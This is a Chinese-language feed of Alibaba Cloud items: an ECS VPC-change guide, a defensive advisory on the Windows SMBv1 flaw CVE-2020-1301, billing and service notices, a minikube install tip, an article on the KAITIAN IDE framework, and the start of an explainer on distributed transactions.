      • 希望跨账号VPC互联,但ECS实例在不同账号的默认VPC中,由于地址冲突无法建立跨账号互联。此时需要ECS实例更换VPC,解决地址冲突问题后,才能跨账号VPC互联。

      使用限制

      说明 此功能正在邀测中,即将开放,敬请期待。

      • ECS实例的状态不能为已锁定、等待释放、已过期、过期回收中、欠费回收中。此外,ECS实例也不能在迁移中或已在更换VPC。
      • ECS实例变更前后的交换机必须在同一可用区。
      • ECS实例变更可选择1~5个目标安全组,但目标安全组类型必须一致(都是普通安全组或都是企业安全组)。
      • 如果目标VPC开启了高级网络特性,则部分ECS实例规格族不支持更换。不支持的ECS实例规格族请参见不支持VPC高阶特性的实例规格族
      • 批量更换ECS实例的VPC时,单次最多支持20个ECS实例。
      • 更换ECS实例的VPC后,此ECS实例无法和原有VPC内的其他ECS实例互通。

      操作步骤

      1. 登录ECS管理控制台
      2. 在左侧导航栏,单击实例与镜像 > 实例
      3. 在顶部菜单栏左上角处,选择地域。
      4. 单个或批量更换ECS实例的VPC。

        • 更换单个ECS实例的VPC

          找到目标ECS实例,在操作列中单击更多 > 网络和安全组 > 更换专有网络

        • 批量更换多个ECS实例的VPC

          选中多个目标ECS实例,单击底部的更多 > 网络和安全组 > 更换专有网络

      5. 更换专有网络配置向导页面,按照指引更换ECS实例的专有网络。

        更换vpc

        1. 变更准备阶段,查看变更前的网络信息和注意事项,单击下一步
        2. 选择专有网络阶段,选择ECS需要切换的目标专有网络目标交换机目标安全组,单击下一步
        3. 可选:配置主私网IP阶段,设置ECS切换后的主私网IP地址。

          • 设置的主私网IP需要在目标交换机的网段内。
          • 如果您不手动设置主私网IP,则主私网IP由系统自动分配。

        4. 单击确定

      切换完成后,您可以单击ECS实例ID,在实例详情页面的配置信息中查看切换后的目标专用网络和虚拟交换机。

      ]]> 【漏洞预警】Windows SMB v1 远程代码执行漏洞(CVE-2020-1301) Fri, 02 May 2025 09:39:04 +0800

      6月10日,阿里云应急响应中心监测到微软官方发布安全公告,披露某些Windows版本的SMBv1协议实现存在一处远程代码执行漏洞。成功利用该漏洞的攻击者可以在目标SMB服务器或SMB客户端上执行代码。目前微软官方已提供安全补丁,并提供了无需安装补丁的缓解措施。


      漏洞描述

      微软官方于6月9日发布安全公告,披露某些Windows版本的SMBv1协议实现存在一处远程代码执行漏洞。远程攻击者通过向受影响的系统发送特制请求包,可以造成远程代码执行。实际漏洞利用触发需要先通过身份验证,建立SMB会话,实际危害相对较低。为彻底防止漏洞潜在风险,阿里云应急响应中心仍建议Windows用户修复漏洞。


      风险评估

      CVE-2020-1301 低危


      安全建议

      1. 前往微软官方下载相应补丁进行更新 https://portal.msrc.microsoft.com/en-US/security-guidance/advisory/CVE-2020-1301

      2. 关闭SMB v1。各系统版本关闭方法可以参考 https://docs.microsoft.com/zh-cn/windows-server/storage/file-server/troubleshoot/detect-enable-and-disable-smbv1-v2-v3



      阿里云云安全中心Windows系统漏洞模块已支持对该漏洞一键检测与修复


      我们会关注后续进展,请随时关注官方公告。

      如有任何问题,可随时通过工单或服务电话95187联系反馈。

      阿里云应急响应中心

      2020.06.10

      ]]>
      【其他】6月22日网商信任付下线通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【网商信任付】【下线通知】

      下线时间:2020年6月22日

      下线内容:因检测到仍有部分用户未解约信任付,考虑到业务停服风险,阿里云将原计划于2019年12月下线的“信任付”支付渠道推迟至2020年6月22日下线。

      届时,您将无法使用“信任付”支付阿里云包年包月和按量计费账单。为避免影响您的业务正常使用,造成不必要的损失,请您立即前往阿里云费用中心,进入网商银行信任付签约管理页面还清剩余欠款并解约信任付产品。“信任付”终止服务后,为了保障您的阿里云服务正常使用,请及时前往阿里云充值

      ]]>
      【其他】6月16日本地快照商业化通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【本地快照】【商业化通知】
       商业化时间:2020年6月16日

       商业化内容:

       阿里云本地快照服务已结束公测,即将于2020年6月16日正式商业化。 商业化之前已存在的本地快照将于6月16日起正式收费。请根据实际需求选择是否继续保留本地快照,以免产生不必要的费用。本地快照详细计费规则与价格信息已发布至官网。感谢您在本地快照公测期间的支持与理解!

      ]]>
      【其他】7月8日快照计费模式变更通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【快照服务】【计费模式变更通知】

       变更时间:2020年7月8日00:00

       变更内容:由于快照产品服务升级,快照产品按量付费计费方式将由原先的按“小时”计费结算,调整为每小时计费出账,累计24小时结算。

       新计费模式将于2020年7月8日0点开始生效执行。新计费模式生效后:

       新开通快照服务的用户将按新计费模式,累计24小时进行计费结算;

       已开通快照功能的老用户计费模式暂时不变,继续按“小时”模式进行计费结算,后续若计费模式发生变化,阿里云将提前告知。

      ]]>
      【其他】7月1日OSS Bucket非标准URL访问方式停止支持通知 Fri, 02 May 2025 09:39:04 +0800

      【阿里云】【OSS】【Bucket访问调整】

       调整时间:2020年7月1日00:00:00 (北京时间)

      调整内容:

       为了更好地服务用户,OSS将于2020年7月1日起停止支持OSS Bucket非标准URL访问方式。

        OSS Bucket非标准URL访问方式是指通过路径类型URL或IP类型URL(例如:http://oss-cn-hangzhou.aliyuncs.com/bucketname 或 xx.xx.xx.xx/bucketname)的访问方式,OSS服务已于2019年4月1日起停止对新建Bucket支持该种方式进行访问。如您当前仍在采用这种非标准URL访问方式,请在2020年7月1日前切换使用标准URL方式访问Bucket(例如:http://bucketname.oss-cn-hangzhou.aliyuncs.com),谢谢支持!

      ]]>
      manjaro 安装minikube-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 install minikube
      • kubectl
      • virtualbox 选择virtualbox应匹配系统内核

      直接在软件源中搜索minikube安装并选择上述两项依赖即可、uname -r 查看系统内核

      no_proxy报错

      minkube start
      
      ]]>
      		
      	
      		为未来研发模式而生,KAITIAN IDE 在业务中的探索-阿里云开发者社区
      		
      		Fri, 02 May 2025 09:39:04 +0800
      		
      		
      		
      		

      作者 | 上坡

      image.png

      在 19 年 5 月,由跨阿里巴巴经济体的 3 个前端团队组织在一起,经过一年的努力,产出了 IDE 的底层实现- KAITIAN 框架。与此同时,借助 KAITIAN 底层能力,体系内、外的研发场景也陆陆续续建设起来。在 IDE 框架完成了一些业务实践之后,我们对 KAITIAN 带来的研发场景下的业务价值以及发展的方向也有了更多的思考。

      冰山一角

      在经济体体系内,许多研发体系、平台借助 KAITIAN 底层,通过 KAITIAN 插件等方式将零散的研发模式进行了统一,将原有研发工作中的研发态与部署态、本地端与线上端的流程进行集成,在面向流程更流畅、环境更统一的研发链路上提供了进一步更好的选择。

      业务场景概览

      image.png
      通过研发平台的集成,KAITIAN 底层间接打通支撑了诸如 支付宝小程序、营销搭建、中后台、Node FaaS 等垂直场景的研发,同时针对更加通用的例如 代码审核、冲突合并 等场景,借助底层能力,在体验、效率上也较原有链路有一定程度的提升。

      在基础研发体验上,我们也陆陆续续集成验证了 100+ 的 VSCode 生态 插件,在基础研发体验上得到基本保障。
      image.png
      在 KAITIAN 项目建设之初,我们希望能通过灵活的插件机制,在兼容 VSCode 生态的同时,能将经济体前端研发生态内不断在发展和孵化出来的研发工具、服务进行承载,有机的串联起来整个链路,发挥出各个工具、服务的最大作用、价值。

      垂直场景研发

      image.png
      例如针对电商体系下的营销页面研发,将 D2C 能力平台 imgcook 进行结合,在双促中大幅提升页面的生产效率,通过 D2C 能力进行 70% 的代码编写工作,在编辑器中进行调整加工后,点击立马上线。相比之前的流程大幅提高生产效率。
      image.png
      在体系外,经过支付宝小程序研发同学的不懈努力,小程序开发者工具 也完整扎实地跑在的 KAITIAN 底层框架之上,同时借助 KAITIAN 两端一致的能力,也在短时间内完整孵化出来线上环境的 小程序在线开发平台。

      通过将这些功能根据使用频率、重要优先级进行组合,让研发工具不只是编码工具,而是真正成为一个研发空间,让用户像飞机机长一样,快捷触达、操作各个研发功能,提升研发的连贯性,组成表现一致的研发上下文,形成统一的研发产品体验,最终达到提升研发效率。

      同时将小程序研发中的 模拟器、调试器 等能力通过 KAITIAN 插件进行封装,实现本地平台与线上平台的同步一致。借助底层架构一致,这些研发工具服务,也已经在内外的各个 KAITIAN 底层平台上进行集成,定制出更符合各自团队的研发链路。
      image.png
      在阿里云上, 阿里云云开发平台 也在紧锣密鼓进行建设和开展训练营,通过整合云上研发解决方案的方式,基于 KAITIAN 体系提供针对 serverless、iot 一站式研发模式。

      体系沉淀

      在支撑业务的同时,我们也将集成业务的过程中遇到的问题进行总结沉淀。例如针对 Web 场景下,集成依赖基础设施较多的情况,我们将 容器调度、资源策略、框架集成 等环节进行抽象集成,提供具备租户式创建 IDE 能力的 WebIDE 中台,通过租户申请,10分钟之内提供一个可定制的 IDE 集成环境;同时针对插件研发,我们也逐步沉淀出研发 组件库、模板库、研发插件 等插件研发基础设施。

      去年一年,随着 KAITIAN 底层技术的诞生,这块技术也随着业务场景不断在往前,一方面我们逐步触达到了项目设定到的表面上的具体目标,而针对共建业务深层次的问题,也逐渐浮现出来。

      冰山之下

      作为开发人员,IDE 就像工作中的最佳拍档,伴随着大部分工作时间。我们同样也希望 KAITIAN 体系能从底层能力角度做好这个角色。于是在业务不断发展的同时,我们也在不断思考目前体系中所要解决和面临的一些问题。

      底层能力

      目前 KAITIAN 底层从业务的集成角度来看待,可以作为一个前端采用 React、后端采用 NodeJS 技术的前后端的完整应用。在这样的集成方式架构下,一些在使用过程中的问题也随着业务上的实践逐渐凸显出来。
      基础性能
      image.png
      KAITIAN 在最初构建的时候,选择了 React 来进行前端页面的开发,同时基于 mobx 来实现页面中的状态管理。那么在传统前端 SPA 遇到一些例如视图、节点更新,渲染执行效率的一些问题,在随着不断提升的用户数量的同时,也在 KAITIAN 上层平台中暴露出来。例如界面渲染中的拖拽场景,对于单边触发多边联动触发更新的场景,都是在当下界面渲染中正在不断优化的部分。
      image.png
      同时在研发流程中的语法提示服务、项目研发部署日志、远程终端等一些前后端关联的功能都需要前后端频繁的交互。在 KAITIAN 的底层实现中,在 web 环境下借助 websocket 协议、本地借助 socket 协议的方式进行前后端通信。那么在 web 网络通信的环节过程中,相比本地环境通信的能力差距,我们需要尽可能保证传输的高效率。例如如果当用户输入一个字母的时候,如果语法提示的信息多等了 1 秒才出现,整体的体感差别是比较大的。

      对于上述两个点以及其他方向的底层性能打磨,一方面通过结合日常前端应用的性能优化策略进行验证优化,另一方面尝试采取更好的实现方式来达到更佳的体验效果。
      前后端解耦
      image.png
      目前 KAITIAN 底层作为前后端完整应用集成方案,能快速地集成出一个 Web 版本或者 Electron 版本的前后端应用。这样对于一个工程研发平台快速集成 IDE 研发能力本身是个快速简便的解决方案。

      但随着在业务的落地过程,对于一些弱环境依赖的轻量研发场景以及在后端能力上的实现有着自有后端体系的实现的场景仍存在模式优化的空间。例如 codesandbox 这类研发场景,对于文件的操作上,不需要对外部情况变更进行监听以及也不存在文件磁盘的读写,基本主要依靠数据库操作,但同时具备一些研发中例如语法提示的支撑能力。

      这样的研发模式在 简便易用能力完善 之间找到一个最佳平衡点,在一些特定场景中实现最佳研发体验。

      对于这样的场景,目前 KAITIAN 底层也在逐步进行改造支持。在 KAITIAN 底层设计之初本身是通过 TS 来实现 面向 接口Interface 编程,存在着软件依赖之间天然的抽象隔离,那么我们通过将模块实现之间,模块的前后端实现之间进行进一步抽象化,完成前后端、模块间的解耦。目前其中的部分模块已经单独服务到这类的研发场景中,接下来也会逐步整理产出在这个领域场景中最佳实践。

      对于框架底层性能及其他能力来说,作为研发编码能力和体验的底层支撑,对底层模块的质量优化是一个长期优化、不断跟进、没有终点的过程。在业务演变的同时,紧贴业务的场景和用户的研发要求,以实际场景为目标,做好 IDE 底层体系能力的基础保障。

      插件体系

      image.png

      在基础的框架能力之上,我们期望 KAITIAN 插件体系能作为未来研发模式的一艘航母,能具备承载目前和未来绝大多数的主流研发模式的能力。在插件机制实现之初,我们打通了 Node/WebWorker/UI 三个环境来最大化插件的拓展场景。在业务实践过程中,我们也发现在插件运行的不同角度下,也有着更深度的业务需求和发展空间。

      API

      image.png
      针对当下研发 IDE 丰富完善的功能体验,以及面向整个阿里经济体体系下前端域纷繁复杂的研发工具、服务生态。在 KAITIAN 启动之初,我们就期望能在插件运行环境上下文中,能提供完善的插件 API 调用及基础能力。

      一方面通过兼容 VSCode 体系下的插件 API 来实现对研发过程中基础研发体验能力的补齐,能一样拥有完整的 LSP 语言服务协议、DAP 调试适配协议等核心机制的完整实现,具备完善可扩展代码提示、断点调试等能力;在另一方面,我们还需要解决研发过程中全链路工具、服务的串联集成,串联整个项目的生命周期,借助在 KAITIAN 插件体系下拓展 WebWorker、UI 环境以及在环境中提供的能力,来实现体验更顺畅、自然的研发模式。

      而看似完备的环境,在业务实践过程中,也存在着一些我们需要不断深化、完善的基础体系能力。
      API 粒度控制
      image.png
      KAITIAN 最初始建设的一套兼容 VSCode API 的插件体系,在实际业务的"摸爬滚打"中,我们发现对于这块基础 API 的使用上,还需要在粒度上进一步地做分层。例如从原有 VSCode 相关 API 的角度出发,期望一方面降低原有在 VSCode 插件研发现有较高的门槛,另一方面在深度的能力上进一步提供更多的能力,满足、促进研发模式的孵化需求。
      image.png
      例如目前针对以往命令行 CLI 的工具,在 KAIIAN 插件中存在着的创建终端面板执行的场景,按照现有 VSCode 插件 API 的实现,需要经历 3 步:创建终端、发送终端命令、显示终端。实际发现很多用户会直接将这个常用操作封装成一个例如 Terminal.run 这样的方法来方便调用。在这个层面上,我们也在着手针对底层能力的一些合并调用、组合调用从更体系化地角度进行更适当粗力度的封装,这样用户可以在功能实现上,就能尽量降低底层功能细节的关注,提高研发效率,更专注到业务逻辑的开发上。
      image.png
      一方面是方法进一步的抽象封装,在另外一方面,例如在 VSCode 的 task 命令空间的插件 API 实现中,暴露给用户的 API 数量在一些场景中无法满足,但实际用户在一些命令任务执行时序节点需要一些更多信息的获取、传递。这块我们在这个场景下进行更细粒度的补充透出。

      在原有的 VSCode 插件 API 的粒度和开放上我们通过粗细力度的完善,逐步优化 VSCode 能力体系插件的研发体验,帮助用户降低门槛,提效插件研发。
      业务上下文
      image.png
      因为我们期望 KAITIAN 能在经济体横向范围内具备足够的通用性,所以在实践设计之初,业务层的内容其实更多期望在业务集成侧解决,底层实现完全的隔离。但是在实际业务集成的过程中,业务需要透传一些业务上下文的信息到插件的运行调用中,例如应用之间调用的 令牌信息、用户登录信息、当前研发应用信息、当前环境网络信息 等等。

      在这样需求之初,集成方通过同样并行实现一个底层模块逻辑,平行的将集成侧的交互信息通过与底层实现一致的方式透出到插件环境中。这样的方式能解决当下业务上的问题,但在背后其实仍然存在着遗留的问题。

      • 研发门槛&维护成本: 对于通过集成底层模块的方式来注入业务上下文,无论是门槛和集成方式都无法得到有力的保障,一方面集成侧的用户需要对底层框架模块实现有着一定程度的理解,这就对整体的集成门槛有一个不小的提升,另一方面对于底层不同的理解会产生不同的集成思路,具体到代码实现上的形式也变得不可控起来,对于后期的更新维护产生更多的成本。
      • 依赖描述: 目前这些通过集成侧注入到运行上下文的业务信息,在一定层面上其实也形成了插件本身运行的依赖,通过"非官方"的注入方式,无法将这部分的插件依赖进行管理起来,那么则无法对插件依赖进行准确的描述。一个插件如果存在业务环境上下文的依赖,但同时无法进行的准确的描述,那么插件生态天然就多了一道屏障,无法形成互通体系。

      在当下我们逐步开开始从集成侧角度,建立上层的 注入上下文 的实践层规范,提升集成侧的集成效率、体验,同时保障插件自身的环境依赖可描述,保障插件生态互通。

      KAITIAN API 体系
      image.png
      在 KAITIAN 插件机制中,我们有参考小程序框架实现 UI 环境与 WebWorker 、Node 环境的方法服务注册与远程调用能力,同时本身在 UI 与 WebWorker 环境中,我们也逐步在建设 KAITIAN 插件体系下 API 能力。

      UI 环境代表的是 IDE 整个前台界面的运行环境。例如我们期望对于上下左右面板的控制、对于左右、底部 Tab 切换的控制以及对于自定义组件在不同插槽位置的注册渲染等能力,都需要依赖在底层能力通过插件 API 的方式进行透出,保障插件在 UI 界面上的控制场景需求。

      同时我们期望 WebWorker 环境在能承接业务逻辑的同时,更能逐步在未来承担起目前在 Node 环境中的能力,降低对后端资源的消耗和依赖,目前对命令、语言、生命周期控制等基础能力的依赖,也逐步在 WebWorker 环境中进行建设和透出。

      依托插件具体的运行环境,提供不同环境的 API 体系抽象,保障业务逻辑在插件环境中的承接。

      UI

      面向前端研发的 IDE 插件体系,我们期望能天然借助 React 组件能力进行对业务逻辑的表达。在这块 UI 组件领域中,看似对于前端来说非常熟悉的 React 体系,在业务实践过程中我们也逐步沉淀出一套适合插件 UI 环境的技术体系。
      沙箱能力
      在插件 UI 实现流程中,一方面由于前端 UI 实现的简易边界,没有限制,我们很容易通过样式、标签进行界面的组织,另一方面由于当下前端环境下丰富的类库、组件,开发者往往也会直接依赖一些开源组件来提升开发效率。简易的实现路径同时也容易产生 UI 组件之间相互影响。例如目前在实践过程中,我们发现往往会因为插件 UI 中因为引入 AntD 组件的方式有误,导致了对整体界面全局样式的污染。

      目前我们也在逐步借助 WebComponent 能力进行对插件渲染进行一定的容器控制,建设渲染容器的沙箱机制。将插件注册的组件通过 ShadowDom 的方式进行控制,屏蔽掉对整体界面渲染影响。同时我们注意到原有 VSCode 插件中的 treeview 等组件布局的 序列化渲染 实现方式,也不断在放大数据化渲染的应用场景,通过提供官方的 UI 模板等实现形式,插件用户只需要进行对应的 UI 实现配置,在完成业务逻辑实现的同时,保障 UI 实现的稳定性。

      在进一步,针对 JS 对环境的影响以及执行控制,目前也在参考现有社区的方案实现,逐步验证探索 Worker、Realm、QuickJS 等方案,在为插件开发者搭建一个自由发挥的舞台同时,建设一个坚固稳定的渲染环境。

      物料体系
      image.png
      在 IDE 插件中的 UI 研发其实与日常开发后台页面没有实质的区别,对于中低复杂度的场景,在实践过程中我们发现如果让用户从原子的标签开始研发,一方面整体的实现过程需要较多基础研发成本,另一方面在最终实现效果上,可能也无法与上下环境中的主题、样式风格等基础 UI 元素保证一致。

      可以从一定的角度上来理解,在 IDE 视角下的 UI 开发,可以类比于日常的中后台场景研发,具备一定的相似性。如何丰富用户的研发手段,建设高效的研发流程,同时保障最终效果的高质量输出可以类比在中后台场景中的实践。

      我们在框架建设的中期,开始将 IDE 体系内的 UI 能力进行抽象收敛,产出 IDE 工具领域下的视觉组件,在底层框架复用的同时,也在插件 UI 环境下进行透出。通过这样的方式,在 IDE 插件研发的场景中,可以起到几个比较好的作用。

      • 研发效率提升: 从封装的基础组件研发,能快速完成链路产品原型搭建,在非深度业务场景下,作为基础的研发体验保障之一
      • 视觉一致性保障: 由于组件本身由 IDE 场景中孵化,在视觉语言表达上,会消除掉在使用其他 UI 能力时,不同 UI 体系导致的视觉展现混乱、干扰的情况,最终呈现到插件使用用户上的操作体感上有了保障基础
      • 渲染稳定性: 实现 UI 组件对于目前插件同学来说容易,但是 UI 环境本身是一个较脆弱的环境,通过官方的组件实现,最大限度的降低因为业务逻辑导致的页面异常、甚至死循环卡死的情况

      在借鉴组件体系建设之上,在业务实践过程中,我们仍然在思考如何再进一步降低研发成本的同时,保障运行环境的高效稳定,以及在深度定制下的最佳实践规范。

      从基础组件向上的视角,用户在面临界面中的插槽面板的时候,基于基础组件实现高阶的 组合组件、布局模板,在能适配更多研发链路下的布局需求的同时,依然能享受到组件带来的基础体系保障。在上层封装中也逐步孵化出更多数据配置化的序列化 UI 实现,尽量控制在 UI 基础实现上的投入的同时,通过数据模型进行对 UI 的控制,进一步在投入与产出中找到"黄金分割"的方案。

      从基础组件向下更深度的视角,我们也逐步建立起来提供给插件体系的主题变量 TOKEN 等更细粒度的物料体系,保证在一些复杂场景下的 UI 实现也依赖能最大限度与上下文环境保持一致体验。

      插件生态

      image.png
      KAITIAN 除了底层框架实现,我们在设计之初期望通过官方提供的插件市场,来担当插件生态的中心承接点,作为基础源以点带面的进行插件的上架管理、安装更新、访问权限等基本服务功能支撑。对于不同上层业务方,可通过基于基础源的方式进行上层业务控制。

      在这样的一个分层体系的业务实践过程中,通过基础插件市场提供的分组管理体系,能很好的解决掉业务间可能存在的干扰影响场景。但对于更深度的业务逻辑、能力扩展,需要借助其开放能力进行丰富。
      image.png
      例如在某一上层业务上层场景中,我们需要对用户使用的插件的版本进行灰度等管理应用,同时需要将插件的执行稳定性依托监控体系,进行稳定性的治理,匹配团队工程研发服务的质量标准。

      在这样的场景下,目前我们也逐步将中心插件市场的能力进一步下沉和抽象,在保证基础插件研发链路的同时,进一步完善开放体系,将底层无直接关联的业务逻辑分摊到上层的实践平台中。一方面越清晰简化的底层越能最大化地保证底层核心的稳定性,具备服务更大场景的基本能力;另一方面对于上层各个业务场景,也能在无关联影响的实现环境下,最大化的保证上层逻辑细节,更好的服务上层的业务研发场景。

      KAITIAN 插件体系这块作为 KAITIAN 体系中最重要的部分之一,我们也在陆陆续续从 插件研发 的视角下建设最优链路;在 稳定性 上逐步建设监控、容错的能力;在 性能上 寻求实现上的优化和突破。作为业务逻辑的基础容器,期望在稳定性、性能基础之上,结合业务链路上的催化,实现未来研发模式的基石。

      业务上的探索与思考

      对于当下 IDE 视角下的研发模式,我们概括为 通过 IDE 集成研发链路中的工具、服务以及流程,发挥链路整合优势的背景下,形成新的研发模式。在这样的主题下,在业务实践过程中也遇到一些比较典型的例子。

      链路集成

      场景示例
      image.png
      在电商营销活动研发场景中,搭建作为最核心的研发模式,日常研发主要进行对 UI 单元模块的研发,完成页面基础元素的生产。在这个体系下,我们将 编译预览、 D2C 代码视觉稿还原能力、工程部署上线 等几个核心链路集成。用户从原有的在各个平台操作、代码逐行实现变成了基础 UI 机器生成,人工代码审核校验,一键上线的流程。在该场景的 UI 实现上大幅节省研发投入,在较大范围的用户上得到认可,也完成了包括双11、双12等较多核心大促场景的验证。
      image.png
      在同样火热的 serverless 场景中,例如以阿里云上场景 云开发工作台 为例,目前云上环境中存在着浩如烟海的产品、服务。在一些场景下夸张的讲,代码只是应用上线 10 个步奏的其中 1 个步奏,从产品服务的了解,到技术方案的设计,到最终上线部署的流水线搭建,每个环节可能都是精力投入成本。

      在这样痛点背景下,面向具体业务场景,设计整合解决方案,同时在 IDE 的上下文中借助插件实现的 部署面板、日志面板、调试验证面板 等功能模块,聚集云上的的能力,形成组合体系,让用户能快速、准确最优化地实现业务逻辑的同时,真正借助研发模式上的设计来提升研发体验,同时打通在业务上的赋能渠道。

      用户价值

      image.png
      IDE 作为日常研发最高频的使用软件,在一定角度上也是用户要求最高的使用软件。从前文提到的场景中,表面上看是基于 IDE 的模式来建设研发链路,实际上其中一个本质是从用户视角下分析当下研发流程的痛点,借助 IDE 的方式来解决研发痛点。例如营销场景中的 UI 研发的低效率、支付宝小程序场景中的 能力复杂分散 以及在 serverless 场景中的 链路繁琐模糊。
      image.png
      对于新的 IDE 研发模式,本质我们需要做到在不断提升底层基础质量的同时,进一步挖掘用户的研发痛点,从研发工具、服务的整合做到 有效的 研发工具、服务的整合。在工具库丰富的同时,需要对每个问题庖丁解牛,用最合适的方式拿出最合适的工具来解决问题。例如在如今较为常见的多页面前端应用,往往在调试过程中提供一个预览路由页面,用户就从挨个页面链接拼写变成了直接点击,直接从维度上大幅降低用户在不同页面研发、调试之间的操作成本。

      IDE 研发范式-全链路研发模式

      image.png
      在陆陆续续接入一些业务场景之后,我们思考在面临后续更多研发模式的接入,是否存在一定的 范式。我们本身建立 IDE 项目,初心是期望借助 IDE 的体系,在内外研发能力的互通的背景下,来带来模式上的变化,提效研发。那么其实从 研发模式 出发,本质不是只有 编码环节、调试环节。研发模式需要关连整个研发链路来一同设计,从项目的初始化、项目的框架方案的设计,以及对项目应用框架针对性的工具、服务设计,以及到最终的应用部署上线,从一个项目的完整生命周期来设计,可能就是所谓的 研发范式

      从 项目框架选型、初始化流程、面向框架研发工具服务、上线部署流程,作为 IDE 研发模式的设计骨骼框架来设计和填充,让一个项目在研发用户手上借助 IDE 体系能力来完成,最终引导出研发模式上的量变到质变。

      在当下在业务体系实践在场景上,除了从复杂的例如 Antd、Egg 体系应用研发到轻量的代码审核、冲突合并场景不断找到用户价值,借助 IDE 的能力重新设计、定义研发流程这样的用户角度。同样在团队视角下的数据体系,我们借助 IDE 的基础能力可以无死角地深入到用户的全操作流程中统计数据、信息,作为当选团队的框架方案、工具服务的分析改进基础。在技术落地上,我们期望通过多个位置的换位多角度思考,稳步营造、推进研发模式的变化。

      仰望星空

      image.png
      KAITIAN 起源于经济体体系内多个前端团队的共同建设,目前除了基础的前端研发场景。在业务上层也在后端、客户端等研发场景中逐步验证,借助语言服务机制实现对 python、java、groovy、c++ 等语言的支撑。同时目前开源工作也在紧锣密鼓的进行中,期望在未来能将其中的一些最佳实践,通过开源的方式进行分享以及社区的验证和打磨。


      image.png
      关注「Alibaba F2E」
      把握阿里巴巴前端新动向

      ]]>
      如何选择分布式事务解决方案?-阿里云开发者社区 Fri, 02 May 2025 09:39:04 +0800 image.png

      概述

      事务是一组不可分组的操作集合,这些操作要么都成功执行,要么都取消执行。最典型的需要事务的场景是银行账户间的转账:假如 A 账户要给 B 账户转账 100 元,那么 A 账户要扣减 100 元,B 账户要增加 100 元,这两个账户的数据变更都成功才可算作转账成功。更严格来说,可以用 ACID 四个特性表述事务:

      • Atomicity:原子性,事务中的所有操作要么都成功执行,要么都取消执行,不能存在部分执行,部分不执行的状态。
      • Consistency:一致性,举个例子简单的理解就是,A、B 两个账户各有 100 元,无论两个账户并发相互转账多少次,两个账户的资金总额依然是 200 元。
      • Isolation:隔离性,并发事务之间的相互影响程度,隔离性也是分级别的:读未提交、读已提交、可重复读等。
      • Durability:持久性,事务完成后对数据的更改不会丢失。

      单体数据库不涉及网络交互,所以在多表之间实现事务是比较简单的,这种事务我们称之为本地事务。

      但是单体数据库的性能达到瓶颈的时候,就需要分库(分物理实例),就会出现跨库(数据库实例)的事务需求;随着企业应用的规模越来越大,企业会进一步进行服务化改造,以满足业务增长的需求;当前微服务架构越来越流行,跨服务的事务场景也会越来越多。

      这些都是分布式事务的需求。分布式事务是指是指事务的发起者、参与者、数据资源服务器以及事务管理器分别位于分布式系统的不同节点之上。

      概括起来,分布式事务有三种场景:

      • 跨数据库分布式事务
      • 跨服务分布式事务
      • 混合式分布式事务

      image.png

      分布式事务中涉及的参与者分布在异步网络中,参与者通过网络通信来达到分布式一致性,网络通信不可避免出现失败、超时的情况,因此分布式事务的实现比本地事务面临更多的困难。下面介绍几种常见的分布式事务解决方案。

      分布式事务模式

      XA Specification

      最早的分布式事务产品可能是 AT&T 在 20 世纪 80 年代推出的 Tuxedo (Transactions for Unix, Extended for Distributed Operations),Tuxedo 最早是为了电信领域的 OLTP 系统研发的分布式事务中间件,后来标准化组织 X/Open 吸收采纳了 Tuxedo 的设计思想和一些接口,推出了分布式事务规范:XA Specification。

      XA 规范中定义了分布式事务处理模型,这个模型中包含四个核心角色:

      • RM (Resource Managers):资源管理器,提供数据资源的操作、管理接口,保证数据的一致性和完整性。最有代表性的就是数据库管理系统,当然有的文件系统、MQ 系统也可以看作 RM。
      • TM (Transaction Managers):事务管理器,是一个协调者的角色,协调跨库事务关联的所有 RM 的行为。
      • AP (Application Program):应用程序,按照业务规则调用 RM 接口来完成对业务模型数据的变更,当数据的变更涉及多个 RM 且要保证事务时,AP 就会通过 TM 来定义事务的边界,TM 负责协调参与事务的各个 RM 一同完成一个全局事务。
      • CRMs (Communication Resource Managers):主要用来进行跨服务的事务的传播。

      下图是 XA 规范中定义的事务模型图,其中:发起分布式事务的 TM 实例称之为 root 节点,其他的 TM 实例可以统称为事务的参与者。事务发起者负责开启整个全局事务,事务参与者各自负责执行自己的事务分支。如果TM实例发起了对其他 TM 实例的服务调用,那么发起者就被成为 Superior,被调用这就被称之为 Subordinate 节点。

      image.png

      XA 规范中分布式事务是构建在 RM 本地事务(此时本地事务被看作分支事务)的基础上的,TM 负责协调这些分支事务要么都成功提交、要么都回滚。XA 规范把分布式事务处理过程划分为两个阶段,所以又叫两阶段提交协议(two phrase commit):

      1)预备阶段

      TM 记录事务开始日志,并询问各个 RM 是否可以执行提交准备操作。

      RM 收到指令后,评估自己的状态,尝试执行本地事务的预备操作:预留资源,为资源加锁、执行操作等,但是并不提交事务,并等待 TM 的后续指令。如果尝试失败则告知 TM 本阶段执行失败并且回滚自己的操作,然后不再参与本次事务(以 MySQL 为例,这个阶段会完成资源的加锁,redo log 和 undo log 的写入)。

      TM 收集 RM 的响应,记录事务准备完成日志。

      2)提交/回滚阶段

      这个阶段根据上个阶段的协调结果发起事务的提交或者回滚操作。

      如果所有 RM 在上一个步骤都返回执行成功,那么:

      • TM 记录事务 commit 日志,并向所有 RM 发起事务提交指令。
      • RM 收到指令后,提交事务,释放资源,并向 TM 响应“提交完成”。
      • 如果 TM 收到所有 RM 的响应,则记录事务结束日志。

      如果有 RM 在上一个步骤中返回执行失败或者超时没有应答,则 TM 按照执行失败处理,那么:

      • 记录事务 abort 日志,向所有 RM 发送事务回滚指令。
      • RM 收到指令后,回滚事务,释放资源,并向 TM 响应回滚完成。
      • 如果 TM 收到所有 RM 的响应,则记录事务结束日志。

      image.png

      针对部分场景,XA 规范还定义了如下优化措施:

      • 如果 TM 发现整个事务只涉及到一个 RM,那么就会将整个过程退化为一阶段提交。
      • 如果 RM 收到的 AP 的数据操作是只读操作,那么它可以在阶段 1 就将事务完成并告知 TM 其不再参与阶段 2 的过程。会有脏读的风险。
      • 如果 RM 在阶段1完成后,长时间等不到阶段 2 的指令,那么其可以自动提交或者回滚本地事务。这叫做 Heuristic Completion,注意这种场景有可能会破坏事务的一致性,产生异常。

      XA 规范中详细定义了各个核心组件之间的交互接口,以 TM 和 RM 的交互接口为例,如下图,一次完整的全局事务,TM 和 RM 之间的交互还是比较频繁的:

      image.png

